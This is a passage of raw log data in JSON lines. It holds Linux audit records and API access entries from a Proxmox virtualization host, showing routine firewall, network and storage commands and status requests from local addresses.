root@pam [20/06/2026:15:37:38 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964075731,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.731:59475): argc=1 a0=\"date\""} {"@timestamp":1781965375843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.843:65343): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62767 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964601026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964601.026:61715): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59238 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965694853,"@rawstring":"node=pve type=EXECVE msg=audit(1781965694.853:66694): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966259756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:38 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075728,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.728:59473): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965375837,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.837:65342): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149fe0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62766 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964600973,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964600.973:61714): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7d0bd6659da6 a2=80000 a3=0 items=1 ppid=1216 pid=59237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965694820,"@rawstring":"node=pve type=EXECVE msg=audit(1781965694.820:66693): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966259756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964075721,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.721:59472): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965375831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.831:65341): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964600970,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964600.970:61713): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1216 pid=59237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965693986,"@rawstring":"node=pve type=EXECVE msg=audit(1781965693.986:66692): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966259756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:38 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964075713,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.713:59471): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965375825,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.825:65340): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964599978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.978:61712): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965693981,"@rawstring":"node=pve type=EXECVE msg=audit(1781965693.981:66689): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966258740,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964075708,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.708:59470): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965375815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.815:65339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964599969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964599.969:61709): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965688971,"@rawstring":"node=pve type=EXECVE msg=audit(1781965688.971:66686): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966258740,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:37 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964075701,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.701:59469): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965375810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.810:65338): arch=c000003e syscall=59 success=yes exit=0 a0=5e38d7f5bb60 a1=5e38d7f67a70 a2=5e38d7f35680 a3=5 items=2 ppid=62756 pid=62762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595226,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.226:61706): arch=c000003e syscall=59 success=yes exit=0 a0=5c9dfd233b60 a1=5c9dfd23fe40 a2=5c9dfd20d680 a3=5 items=2 ppid=59228 pid=59234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965688958,"@rawstring":"node=pve type=EXECVE msg=audit(1781965688.958:66683): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966257035,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:36 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964075695,"@rawstring":"node=pve type=EXECVE msg=audit(1781964075.695:59468): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965375808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.808:65337): arch=c000003e syscall=59 success=yes exit=0 a0=5e389e158ac8 a1=7fff46effea0 a2=5e38d7f35680 a3=5e389e13c24e items=2 ppid=62756 pid=62758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595222,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.222:61705): arch=c000003e syscall=59 success=yes exit=0 a0=5c9dd4f94ac8 a1=7ffd8095ccf0 a2=5c9dfd20d680 a3=5c9dd4f7824e items=2 ppid=59228 pid=59230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965686005,"@rawstring":"node=pve type=EXECVE msg=audit(1781965686.005:66680): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966257035,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:35 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964074677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964074.677:59467): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965375807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.807:65336): arch=c000003e syscall=59 success=yes exit=0 a0=7fff46effe60 a1=5e38d7f57200 a2=5e38d7f35680 a3=5 items=2 ppid=62756 pid=62757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.221:61704): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd8095ccb0 a1=5c9dfd22f200 a2=5c9dfd20d680 a3=5 items=2 ppid=59228 pid=59229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965686000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965686.000:66679): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966255718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:35 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964074642,"@rawstring":"node=pve type=EXECVE msg=audit(1781964074.642:59466): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965375799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.799:65334): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62756 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595217,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.217:61702): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965686000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965686.000:66678): argc=1 a0=\"date\""} {"@timestamp":1781966255718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:34 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964072832,"@rawstring":"node=pve type=EXECVE msg=audit(1781964072.832:59465): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965375792,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.792:65333): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62755 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595211,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.211:61701): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59227 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685992,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.992:66676): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966255718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:34 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 464"} {"@timestamp":1781964072823,"@rawstring":"node=pve type=EXECVE msg=audit(1781964072.823:59462): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965375785,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.785:65332): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595204,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.204:61700): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59226 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.984:66675): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966255718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:34 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964067815,"@rawstring":"node=pve type=EXECVE msg=audit(1781964067.815:59459): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965375779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.779:65331): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb61080d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595198,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.198:61699): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59225 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685972,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.972:66674): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966254717,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1114"} {"@timestamp":1781964067810,"@rawstring":"node=pve type=EXECVE msg=audit(1781964067.810:59456): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965375771,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.771:65330): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139450 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.192:61698): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59224 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685964,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.964:66673): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966253305,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1122"} {"@timestamp":1781964065684,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.684:59453): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965375761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965375.761:65329): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ea800 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62751 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595189,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.189:61697): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5654692d2740 items=0 ppid=1156 pid=59223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965685955,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.955:66672): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966253305,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:32 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065681,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.681:59452): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965374667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965374.667:65328): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be820 a1=64f8d73b2970 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62750 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.186:61696): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13af30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59223 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.949:66670): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966253305,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964065680,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.680:59451): argc=1 a0=\"date\""} {"@timestamp":1781965374635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965374.635:65327): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73adfa0 a1=64f8d5f90c70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62749 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595182,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.182:61695): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1404f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685941,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.941:66669): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966251802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:30 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964065677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.677:59449): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965372784,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.784:65326): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956b30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595176,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.176:61694): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc100bd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685935,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.935:66668): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966251802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964065669,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.669:59448): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965372776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965372.776:65323): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789956a70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.170:61693): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140990 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685928,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.928:66667): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966251802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:30 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964065662,"@rawstring":"node=pve type=EXECVE msg=audit(1781964065.662:59447): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965367767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965367.767:65320): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899569b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964595164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964595.164:61692): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc100bd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965685921,"@rawstring":"node=pve type=EXECVE msg=audit(1781965685.921:66666): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966250798,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:29 +0100] \"GET 